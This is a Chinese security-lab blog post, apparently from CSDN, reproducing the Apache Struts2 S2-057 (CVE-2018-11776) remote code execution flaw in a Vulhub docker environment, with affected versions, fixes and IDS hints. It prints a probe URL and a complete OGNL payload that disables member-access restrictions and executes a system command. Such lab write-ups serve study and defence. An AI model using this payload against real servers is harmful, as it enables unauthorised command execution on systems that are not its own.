struts2漏洞_Apache Struts2057远程代码执行漏洞复现

本文介绍了Apache Struts2的S2-057高危远程代码执行漏洞,详细说明了漏洞产生的原因、受影响的版本以及复现步骤。同时,提供了漏洞利用的Payload和防护措施,包括升级Struts2版本、保障代码安全以及IDS规则的调整。
摘要由CSDN通过智能技术生成

网安引领时代,弥天点亮未来   

7cf5738cbd46667ca2a8c83f58f6670b.png 0x00漏洞简述

2018年8月22日,Apache Strust2发布最新安全公告,Apache Struts2存在远程代码执行的高危漏洞(S2-057/CVE-2018-11776)。该漏洞是由于在Struts2开发框架中使用namespace功能定义XML配置时,namespace值未被设置且在上层动作配置(Action Configuration)中未设置或用通配符namespace,可能导致远程代码执行。同理,url标签未设置value和action值且上层动作未设置或用通配符namespace时也可能导致远程代码执行

7cf5738cbd46667ca2a8c83f58f6670b.png 0x01影响版本

Apache Struts2.3–Struts 2.3.34, Struts 2.5– Struts 2.5.16

7cf5738cbd46667ca2a8c83f58f6670b.png 0x02漏洞复现

虚拟机部署docker安装Vulhub一键搭建漏洞测试靶场环境。

docker-compose up -d

1、访问漏洞环境

388bf11b4015d4826bd6a4b8b8d14b6d.png

2、访问/showcase路径到Struts2测试页

http://192.168.60.131:8080/showcase

862eb83100d1a29124894c52b992a881.png

3、Payload验证漏洞是否存在

http://192.168.60.131:8080/struts2-showcase/$%7B9*9%7D/actionChain1.action

2227229f2c289eb2415c09c3dc0ba0bc.png

返回结果

4501f45e3817898b2cb0ad9f58b3442c.png

4、POC进行漏洞利用

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

在利用时需要进行URL编码

07b021a2236bef0e36b54a8db2438ee0.png

命令执行

ca4410b852a4d3f94fd75a302f02493d.png

3b5ec772c34e0cf25def7b65c6ef8930.png

7cf5738cbd46667ca2a8c83f58f6670b.png 0x03修复建议

1、将ApacheStrust2版本升级到官方最新版本

2、Web应用,尽量保证代码的安全性。重点从SDL角度重视安全

3、对于IDS规则,数值计算和弹计算器返回的状态码都是302,并且Location跳转字段含有特征句柄字符串;如果是命令回显返回的200状态码,且有命令结果输出。

7cf5738cbd46667ca2a8c83f58f6670b.png 0x04参考链接

https://www.anquanke.com/post/id/157823

3023b0591affebcd9cc76dd41c19f39f.gif 

知识分享完了

喜欢别忘了关注我们哦~

予以风动,必降弥天之润!

   弥  天

安全实验室

28bf422078e54621078a2033fccdc1f2.png
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值